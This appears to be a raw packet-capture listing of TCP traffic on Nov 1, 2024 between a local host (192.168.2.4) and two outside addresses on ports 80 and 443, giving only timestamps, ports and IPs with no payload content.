Nov 1, 2024 08:51:32.468638897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.468648911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.468672037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.468693018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619333029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619354010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619380951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619398117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619400978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619420052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619424105 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619431019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619438887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619463921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619491100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619787931 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619807005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619824886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619831085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619841099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619848013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619863987 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.619865894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619885921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.619908094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.635062933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.635080099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.635109901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.635122061 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.742208958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742228031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742257118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742283106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742288113 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.742302895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742319107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742335081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742336035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.742352962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.742360115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.742374897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.742403984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.743207932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.743221998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.743262053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.743364096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.743412018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.743418932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.743462086 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.743522882 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.743566990 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.772336960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.772365093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.772377968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.772392988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.772516966 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.860277891 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860371113 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860414028 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860429049 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.860440016 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860479116 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860486031 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.860491991 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860531092 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860536098 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.860544920 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.860589981 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.860595942 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.866601944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866630077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866647005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866669893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866672039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.866684914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.866689920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866708040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.866713047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.866754055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.867002010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867018938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867033958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867053032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.867096901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.867360115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867384911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867400885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.867408991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.867438078 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.896256924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.896271944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.896332026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.896357059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.896362066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.896389008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.896424055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.914005041 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.914019108 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.960867882 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977358103 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977421045 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977449894 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977462053 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977478981 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977523088 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977529049 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977550030 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977583885 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977763891 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977777004 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.977791071 CET	57778	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:32.977794886 CET	443	57778	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:32.990494013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990524054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990540028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990550995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.990597010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.990597010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.990652084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990668058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990684032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990699053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.990700960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.990721941 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.990746975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.991254091 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991271019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991286039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991307020 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.991328955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.991636038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991652012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991667032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:32.991679907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:32.991705894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.021002054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.021029949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.021044016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.021054983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.021081924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.021085978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.021100998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.021130085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.021155119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114667892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114717007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114758015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114773989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114790916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114795923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114806890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114823103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114825964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.114834070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114849091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.114871025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.115166903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.115200996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.115209103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.115236998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.115238905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.115276098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.115515947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.115529060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.115551949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.115565062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144442081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144457102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144473076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144486904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144515038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144613981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144627094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144654036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144665956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144742012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144784927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.144809961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.144848108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.227901936 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.227993011 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.228130102 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.228750944 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.228785038 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.238548994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238569975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238586903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238609076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.238642931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.238676071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238717079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.238738060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238754988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.238780975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.238791943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.239137888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.239152908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.239176035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.239178896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.239192009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.239193916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.239212990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.239223003 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.239254951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.239280939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268342018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268388987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268428087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268443108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268465042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268477917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268508911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268524885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268538952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268551111 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268568993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268577099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268886089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268910885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.268935919 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.268953085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.362865925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.362910032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.362926960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.362943888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.362962961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363038063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.363207102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363223076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363238096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.363238096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363254070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.363255978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363302946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.363746881 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363759995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.363816977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.392462969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392489910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392504930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392587900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.392610073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.392618895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392796040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392810106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392823935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392844915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.392844915 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.392867088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.392882109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487179041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487196922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487212896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487230062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487232924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487246037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487256050 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487267017 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487304926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487370014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487415075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487462997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487473011 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487488031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487504005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.487512112 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487544060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.487555027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.516616106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516643047 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516660929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516676903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.516681910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516697884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516736984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.516762018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.516946077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516962051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516977072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.516995907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.517030001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.610841990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.610869884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.610882998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.610907078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.610923052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.610925913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.610975027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.611283064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.611298084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.611320972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.611332893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.611346960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.611362934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.611362934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.611387014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.611418009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.611996889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.612010002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.612047911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.612061977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.640693903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.640711069 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.640734911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.640749931 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.640765905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.640790939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.640834093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.640952110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.641009092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.641024113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.641040087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.641066074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.641077995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.734818935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.734874964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.734886885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.734908104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.734920979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.734925032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.734949112 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.734968901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.735146046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.735162020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.735184908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.735194921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.735198975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.735215902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.735243082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.735258102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.764684916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764700890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764723063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764738083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764738083 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.764748096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764758110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.764839888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.765266895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.765281916 CET	80	57777	185.215.113.16	192.168.2.4
